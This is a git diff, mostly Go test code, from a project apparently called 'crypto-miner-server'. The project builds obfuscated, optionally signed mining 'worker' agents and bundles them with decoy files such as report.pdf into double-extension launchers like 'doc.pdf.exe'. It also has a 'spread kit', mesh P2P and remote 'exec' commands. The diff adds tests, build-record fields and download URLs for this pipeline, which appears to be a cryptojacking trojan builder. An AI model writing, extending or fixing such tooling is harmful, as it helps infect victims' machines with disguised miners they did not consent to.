reloaded, err := readLoginSidecar(sidecarPath)
|
||||
if err != nil || reloaded["admin"] != "new-secret-pass" {
|
||||
t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err)
|
||||
}
|
||||
}
|
||||
|
||||
31
server/internal/api/server_policy_test.go
Normal file
31
server/internal/api/server_policy_test.go
Normal file
@@ -0,0 +1,31 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestServerPolicyJSONRoundTrip(t *testing.T) {
|
||||
in := ServerPolicy{
|
||||
MaxAgents: 128,
|
||||
LogAgentConnections: true,
|
||||
LogShareSubmissions: false,
|
||||
LogPoolTraffic: true,
|
||||
StrictWalletValidation: true,
|
||||
MaxBuildSizeMB: 64,
|
||||
PoolReconnectSeconds: 30,
|
||||
}
|
||||
|
||||
data, err := json.Marshal(in)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var out ServerPolicy
|
||||
if err := json.Unmarshal(data, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out != in {
|
||||
t.Fatalf("round-trip mismatch:\n got %+v\n want %+v", out, in)
|
||||
}
|
||||
}
|
||||
32
server/internal/api/testdata/ws_types_fixture.json
vendored
Normal file
32
server/internal/api/testdata/ws_types_fixture.json
vendored
Normal file
@@ -0,0 +1,32 @@
|
||||
{
|
||||
"WSDashboardInit": [
|
||||
"agents"
|
||||
],
|
||||
"WSAgentOffline": [
|
||||
"agent_id"
|
||||
],
|
||||
"WSStatsUpdate": [
|
||||
"agent_id",
|
||||
"cpu_usage_pct",
|
||||
"hashrate_15m",
|
||||
"hashrate_15s",
|
||||
"hashrate_1m",
|
||||
"memory_usage_pct",
|
||||
"shares_accepted",
|
||||
"shares_submitted",
|
||||
"uptime_seconds"
|
||||
],
|
||||
"WSCommandResult": [
|
||||
"action",
|
||||
"agent_id",
|
||||
"message",
|
||||
"success"
|
||||
],
|
||||
"WSAgentLog": [
|
||||
"agent_id",
|
||||
"content"
|
||||
],
|
||||
"WSServerLog": [
|
||||
"line"
|
||||
]
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
package api
|
||||
|
||||
// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts).
|
||||
// Shared types: WSDashboardInit, WSAgentOffline, WSStatsUpdate, WSCommandResult, WSAgentLog, WSServerLog.
|
||||
// Cross-language drift guard: testdata/ws_types_fixture.json (Go ws_types_test.go, TS ws.test.ts).
|
||||
|
||||
type WSDashboardInit struct {
|
||||
Agents []interface{} `json:"agents"`
|
||||
|
||||
@@ -2,14 +2,96 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"sort"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
var updateWSFixture = flag.Bool("updateWSFixture", false, "rewrite testdata/ws_types_fixture.json from ws_types.go struct tags")
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
flag.Parse()
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
|
||||
// Synced with server/web/src/types/ws.ts — see testdata/ws_types_fixture.json.
|
||||
var wsTypeSamples = map[string]interface{}{
|
||||
"WSDashboardInit": WSDashboardInit{},
|
||||
"WSAgentOffline": WSAgentOffline{},
|
||||
"WSStatsUpdate": WSStatsUpdate{},
|
||||
"WSCommandResult": WSCommandResult{},
|
||||
"WSAgentLog": WSAgentLog{},
|
||||
"WSServerLog": WSServerLog{},
|
||||
}
|
||||
|
||||
func wsTypeFieldKeys(v interface{}) []string {
|
||||
t := reflect.TypeOf(v)
|
||||
if t.Kind() == reflect.Ptr {
|
||||
t = t.Elem()
|
||||
}
|
||||
var keys []string
|
||||
for i := 0; i < t.NumField(); i++ {
|
||||
tag := t.Field(i).Tag.Get("json")
|
||||
if tag == "" || tag == "-" {
|
||||
continue
|
||||
}
|
||||
name, _, _ := strings.Cut(tag, ",")
|
||||
if name != "" {
|
||||
keys = append(keys, name)
|
||||
}
|
||||
}
|
||||
sort.Strings(keys)
|
||||
return keys
|
||||
}
|
||||
|
||||
func wsTypeKeysFromStructs() map[string][]string {
|
||||
out := make(map[string][]string, len(wsTypeSamples))
|
||||
for name, sample := range wsTypeSamples {
|
||||
out[name] = wsTypeFieldKeys(sample)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestWSTypeFieldKeysMatchFixture(t *testing.T) {
|
||||
got := wsTypeKeysFromStructs()
|
||||
fixturePath := filepath.Join("testdata", "ws_types_fixture.json")
|
||||
|
||||
if *updateWSFixture {
|
||||
data, err := json.MarshalIndent(got, "", " ")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data = append(data, '\n')
|
||||
if err := os.WriteFile(fixturePath, data, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Logf("updated %s", fixturePath)
|
||||
return
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(fixturePath)
|
||||
if err != nil {
|
||||
t.Fatalf("read fixture: %v (run with -updateWSFixture to create)", err)
|
||||
}
|
||||
var want map[string][]string
|
||||
if err := json.Unmarshal(raw, &want); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("ws_types fixture drift: re-run go test -run TestWSTypeFieldKeysMatchFixture -updateWSFixture ./internal/api/")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSTypesJSONRoundTrip(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
in interface{}
|
||||
}{
|
||||
{"dashboard_init", WSDashboardInit{Agents: []interface{}{}}},
|
||||
{"stats", WSStatsUpdate{AgentID: "a1", Hashrate15m: 123.4, CPUUsagePct: 50}},
|
||||
{"offline", WSAgentOffline{AgentID: "a1"}},
|
||||
{"command", WSCommandResult{AgentID: "a1", Action: "exec", Success: true, Message: "ok"}},
|
||||
|
||||
@@ -99,9 +99,10 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||
}
|
||||
@@ -221,9 +222,10 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes2,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
161
server/internal/builder/compile_platform_test.go
Normal file
161
server/internal/builder/compile_platform_test.go
Normal file
@@ -0,0 +1,161 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestCompileGoProjectPlatformFakeGoFail(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoFail(t, h)
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", nil, false,
|
||||
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
if err == nil || !strings.Contains(err.Error(), "windows-amd64") {
|
||||
t.Fatalf("expected platform compile error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileGoProjectPlatformFakeGoSuccess(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", []string{"p2p"}, false,
|
||||
BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}); err != nil {
|
||||
t.Fatalf("fake go success: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(out); err != nil {
|
||||
t.Fatalf("output not created: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileGoProjectPlatformObfuscateWithoutGarble(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
h.garblePath = ""
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", nil, true,
|
||||
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}); err != nil {
|
||||
t.Fatalf("obfuscate without garble should fall back to plain go: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileGoProjectPlatformCancelled(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSleep(t, h)
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := h.compileGoProjectPlatform(ctx, dir, out, "-s -w", nil, false,
|
||||
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
errCh <- err
|
||||
}()
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
cancel()
|
||||
|
||||
select {
|
||||
case err := <-errCh:
|
||||
if err == nil || !strings.Contains(err.Error(), "cancelled") {
|
||||
t.Fatalf("expected cancelled build, got %v", err)
|
||||
}
|
||||
case <-time.After(10 * time.Second):
|
||||
t.Fatal("compile did not stop after context cancel")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileGoProjectDelegatesToPlatform(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := h.compileGoProject(context.Background(), dir, out, "-s -w", nil, false); err != nil {
|
||||
t.Fatalf("compileGoProject: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileWorkerFakeGoSuccess(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "pc-1",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48abc",
|
||||
MeshP2P: true,
|
||||
}
|
||||
out, err := h.compileWorker(context.Background(), agentDir, buildDir, req, "bid-1",
|
||||
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}, false)
|
||||
if err != nil {
|
||||
t.Fatalf("compileWorker: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(out); err != nil {
|
||||
t.Fatalf("compiled worker missing: %v", err)
|
||||
}
|
||||
builtin, err := os.ReadFile(filepath.Join(agentDir, "config", "builtin.go"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(builtin), "bid-1") || !strings.Contains(string(builtin), "pc-1") {
|
||||
t.Fatalf("builtin config not written: %s", builtin)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileWorkerFakeGoFail(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoFail(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x", Wallet: "48abc"}
|
||||
_, err := h.compileWorker(context.Background(), agentDir, buildDir, req, "bid",
|
||||
BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}, true)
|
||||
if err == nil {
|
||||
t.Fatal("expected compile failure")
|
||||
}
|
||||
}
|
||||
@@ -124,7 +124,7 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
}
|
||||
|
||||
if h.shouldObfuscate(req) && h.garblePath == "" {
|
||||
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).")
|
||||
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
|
||||
}
|
||||
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
|
||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||
|
||||
@@ -198,13 +198,13 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName
|
||||
order := normalizeFusionOrder(runOrder)
|
||||
out := string(src)
|
||||
repl := map[string]string{
|
||||
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
|
||||
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
`"FUSION_RUN_ORDER"`: fmt.Sprintf("%q", order),
|
||||
`"FUSION_PAYLOAD_KIND"`: fmt.Sprintf("%q", payloadKind),
|
||||
`"FUSION_MEDIA_MODE"`: fmt.Sprintf("%q", mediaMode),
|
||||
`"FUSION_MEDIA_FILE"`: fmt.Sprintf("%q", mediaFileName),
|
||||
}
|
||||
for old, new := range repl {
|
||||
out = strings.Replace(out, old, new, 1)
|
||||
for old, newVal := range repl {
|
||||
out = strings.Replace(out, old, newVal, 1)
|
||||
}
|
||||
return []byte(out)
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -135,6 +136,47 @@ func TestPrepareFusionProjectMissingSource(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrepareFusionProjectSuccess(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(t.TempDir(), "prep_first", "file", "paired", "report.pdf")
|
||||
if err != nil {
|
||||
t.Fatalf("prepareFusionProject: %v", err)
|
||||
}
|
||||
main, err := os.ReadFile(filepath.Join(fusionDir, "main.go"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
body := string(main)
|
||||
for _, want := range []string{`runOrder = "prep_first"`, `payloadKind = "file"`, `mediaFileName = "report.pdf"`} {
|
||||
if !strings.Contains(body, want) {
|
||||
t.Fatalf("patched main missing %q:\n%s", want, body)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(fusionDir, "go.mod")); err != nil {
|
||||
t.Fatalf("fusion go.mod not copied: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFileFusionMissingWorker(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
prep := filepath.Join(t.TempDir(), "report.pdf")
|
||||
if err := os.WriteFile(prep, []byte("%PDF"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
req := &BuildRequest{FusionMediaMode: "paired", FusionPayloadKind: "file"}
|
||||
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
||||
_, err := h.buildFileFusion(context.Background(), buildDir, prep, filepath.Join(buildDir, "missing.exe"), req, win)
|
||||
if err == nil {
|
||||
t.Fatal("expected worker copy failure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPublishFusionDeliverable(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
h := &Handler{projectRoot: root}
|
||||
|
||||
@@ -60,3 +60,99 @@ func TestBuildFusionFromRequestPaired(t *testing.T) {
|
||||
t.Fatal("expected launcher path")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFileFusionPairedFakeGo(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
worker := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
prep := filepath.Join(t.TempDir(), "report.pdf")
|
||||
if err := os.WriteFile(prep, []byte("%PDF-1.4"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
req := &BuildRequest{
|
||||
TargetOS: "windows",
|
||||
FusionMediaMode: "paired",
|
||||
FusionPayloadKind: "file",
|
||||
FusionMediaBaseName: "report.pdf",
|
||||
}
|
||||
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
||||
res, err := h.buildFileFusion(context.Background(), buildDir, prep, worker, req, win)
|
||||
if err != nil {
|
||||
t.Fatalf("buildFileFusion paired: %v", err)
|
||||
}
|
||||
if res == nil || res.LauncherPath == "" {
|
||||
t.Fatal("expected launcher path")
|
||||
}
|
||||
if _, err := os.Stat(res.LauncherPath); err != nil {
|
||||
t.Fatalf("launcher not created: %v", err)
|
||||
}
|
||||
if res.MediaName != "report.pdf" {
|
||||
t.Fatalf("media name: %q", res.MediaName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFileFusionEmbeddedFakeGo(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
worker := filepath.Join(buildDir, "worker.bin")
|
||||
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
prep := filepath.Join(t.TempDir(), "clip.mkv")
|
||||
if err := os.WriteFile(prep, []byte("fake video"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
req := &BuildRequest{
|
||||
TargetOS: "linux",
|
||||
FusionMediaMode: "embedded",
|
||||
FusionPayloadKind: "file",
|
||||
}
|
||||
linux := BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}
|
||||
res, err := h.buildFileFusion(context.Background(), buildDir, prep, worker, req, linux)
|
||||
if err != nil {
|
||||
t.Fatalf("buildFileFusion embedded: %v", err)
|
||||
}
|
||||
payloadBin := filepath.Join(buildDir, "fusion", "assets", "payload.bin")
|
||||
st, err := os.Stat(payloadBin)
|
||||
if err != nil {
|
||||
t.Fatalf("embedded payload.bin missing: %v", err)
|
||||
}
|
||||
if st.Size() == 0 {
|
||||
t.Fatal("embedded mode should copy payload into assets")
|
||||
}
|
||||
if res.MediaName != "clip.mkv" {
|
||||
t.Fatalf("media name: %q", res.MediaName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFusionWrapperFakeGoSuccess(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
worker := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
prep := filepath.Join(t.TempDir(), "doc.pdf")
|
||||
if err := os.WriteFile(prep, []byte("%PDF"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
launcher, err := h.buildFusion(context.Background(), buildDir, prep, worker, "doc.pdf.exe", "parallel")
|
||||
if err != nil {
|
||||
t.Fatalf("buildFusion: %v", err)
|
||||
}
|
||||
if launcher == "" {
|
||||
t.Fatal("expected launcher path")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -125,6 +125,17 @@ type BuildArtifactFile struct {
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
}
|
||||
|
||||
func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
|
||||
if len(arts) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]models.BuildExtraFile, len(arts))
|
||||
for i, a := range arts {
|
||||
out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
type Handler struct {
|
||||
db *db.Database
|
||||
dataDir string
|
||||
@@ -647,6 +658,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
FilePath: absPath,
|
||||
FileName: finalName,
|
||||
DownloadURL: dlURL,
|
||||
ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts),
|
||||
Platform: recordPlatform,
|
||||
CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost,
|
||||
|
||||
@@ -167,3 +167,30 @@ func TestShouldSignBuildNoRequestFlag(t *testing.T) {
|
||||
t.Fatal("SignBuild flag required")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildExtraFilesFromArtifacts(t *testing.T) {
|
||||
if got := buildExtraFilesFromArtifacts(nil); got != nil {
|
||||
t.Fatalf("nil input should return nil, got %+v", got)
|
||||
}
|
||||
if got := buildExtraFilesFromArtifacts([]BuildArtifactFile{}); got != nil {
|
||||
t.Fatalf("empty slice should return nil, got %+v", got)
|
||||
}
|
||||
arts := []BuildArtifactFile{
|
||||
{FileName: "readme.txt", FilePath: "/tmp/readme.txt"},
|
||||
{FileName: "runner.exe", FilePath: "/tmp/runner.exe"},
|
||||
}
|
||||
got := buildExtraFilesFromArtifacts(arts)
|
||||
if len(got) != 2 {
|
||||
t.Fatalf("expected 2 extras, got %d", len(got))
|
||||
}
|
||||
if got[0].FileName != "readme.txt" || got[0].FilePath != "/tmp/readme.txt" {
|
||||
t.Fatalf("first artifact: %+v", got[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFusionUniversalStartShBareExtension(t *testing.T) {
|
||||
sh := fusionUniversalStartSh(".pdf")
|
||||
if !strings.Contains(sh, "-runner") {
|
||||
t.Fatalf("expected runner suffix in script: %q", sh)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -67,3 +67,52 @@ func setFakeGoFail(t *testing.T, h *Handler) {
|
||||
}
|
||||
h.goBinPath = p
|
||||
}
|
||||
|
||||
// setFakeGoSuccess points goBinPath at a script that writes the -o output and exits 0.
|
||||
func setFakeGoSuccess(t *testing.T, h *Handler) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
if runtime.GOOS == "windows" {
|
||||
p := filepath.Join(dir, "go-ok.bat")
|
||||
script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" +
|
||||
":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" +
|
||||
" set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" +
|
||||
"shift\r\ngoto loop\r\n:done\r\n" +
|
||||
"if defined OUT (\r\n" +
|
||||
" for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" +
|
||||
" echo fake>\"!OUT!\"\r\n" +
|
||||
")\r\nexit /b 0\r\n"
|
||||
if err := os.WriteFile(p, []byte(script), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.goBinPath = p
|
||||
return
|
||||
}
|
||||
p := filepath.Join(dir, "go-ok.sh")
|
||||
script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" +
|
||||
" if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" +
|
||||
"done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n"
|
||||
if err := os.WriteFile(p, []byte(script), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.goBinPath = p
|
||||
}
|
||||
|
||||
// setFakeGoSleep points goBinPath at a script that blocks long enough to test cancellation.
|
||||
func setFakeGoSleep(t *testing.T, h *Handler) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
if runtime.GOOS == "windows" {
|
||||
p := filepath.Join(dir, "go-sleep.bat")
|
||||
if err := os.WriteFile(p, []byte("@echo off\r\nping 127.0.0.1 -n 8 >nul\r\nexit /b 0\r\n"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.goBinPath = p
|
||||
return
|
||||
}
|
||||
p := filepath.Join(dir, "go-sleep.sh")
|
||||
if err := os.WriteFile(p, []byte("#!/bin/sh\nsleep 8\nexit 0\n"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.goBinPath = p
|
||||
}
|
||||
|
||||
@@ -61,6 +61,27 @@ func TestBuildCRUDAndList(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildExtraFilesRoundTrip(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
build := &models.BuildRecord{
|
||||
ID: "build-extra", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: time.Now(),
|
||||
DownloadURL: "/api/v1/builds/build-extra/download",
|
||||
ExtraFiles: []models.BuildExtraFile{
|
||||
{FileName: "payload.enc", FilePath: "/data/payload.enc"},
|
||||
{FileName: "README.txt"},
|
||||
},
|
||||
}
|
||||
insertBuild(t, d, build)
|
||||
|
||||
got, err := d.GetBuild("build-extra")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(got.ExtraFiles) != 2 || got.ExtraFiles[0].FileName != "payload.enc" {
|
||||
t.Fatalf("extra_files mismatch: %+v", got.ExtraFiles)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetBuildNotFound(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
_, err := d.GetBuild("missing")
|
||||
|
||||
@@ -2,9 +2,11 @@ package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
@@ -115,6 +117,7 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN extra_files TEXT NOT NULL DEFAULT '[]'`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||
@@ -252,25 +255,50 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
|
||||
